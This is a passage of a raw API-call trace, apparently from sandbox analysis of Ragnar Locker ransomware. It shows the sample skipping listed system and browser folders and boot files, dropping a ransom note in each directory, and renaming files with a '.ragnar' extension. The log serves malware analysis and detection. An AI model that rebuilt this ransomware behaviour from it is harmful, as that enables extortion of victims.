lpString2="Google") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Opera") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Opera Software") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Mozilla") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Mozilla Firefox") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="$Recycle.Bin") returned 1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="ProgramData") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="All Users") returned 1 [0051.710] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0051.710] lstrcpyW (in: lpString1=0x1eb62e, lpString2="bg-BG" | out: lpString1="bg-BG") returned="bg-BG" [0051.710] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\" [0051.710] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\" [0051.710] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\RGNR_FD7BD9FC.txt" [0051.710] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0051.712] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*" [0051.712] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.712] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.712] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0051.713] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.713] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.713] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71110c60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.713] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0051.713] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.713] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0051.713] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.713] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0051.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71110c60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.713] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0051.713] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\RGNR_FD7BD9FC.txt") returned=".txt" [0051.713] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0051.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.713] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0051.713] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned=".mui" [0051.713] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0051.713] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0051.713] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0051.714] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0051.714] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0051.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0051.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0051.714] CloseHandle (hObject=0xffffffff) returned 0 [0051.714] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" [0051.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.ragnar_FD7BD9FC" [0051.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0051.715] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.715] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0051.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0051.715] lstrcmpiW (lpString1="Content.xml", lpString2=".") returned 1 [0051.715] lstrcmpiW (lpString1="Content.xml", lpString2="..") returned 1 [0051.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0051.715] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".") returned 1 [0051.715] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="..") returned 1 [0051.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2=".") returned 1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="..") returned 1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows.old") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Tor browser") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Internet Explorer") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Google") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Opera") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Opera Software") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Mozilla") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="Mozilla Firefox") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="$Recycle.Bin") returned 1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="ProgramData") returned -1 [0051.715] lstrcmpiW (lpString1="cs-CZ", lpString2="All Users") returned 1 [0051.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0051.715] lstrcpyW (in: lpString1=0x1eb62e, lpString2="cs-CZ" | out: lpString1="cs-CZ") returned="cs-CZ" [0051.715] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\" [0051.715] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\" [0051.715] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\RGNR_FD7BD9FC.txt" [0051.715] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0051.717] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*" [0051.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.717] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.717] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0051.718] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.718] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.718] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71110c60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.718] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0051.718] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.718] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0051.718] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.718] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0051.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71110c60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.718] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.718] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") 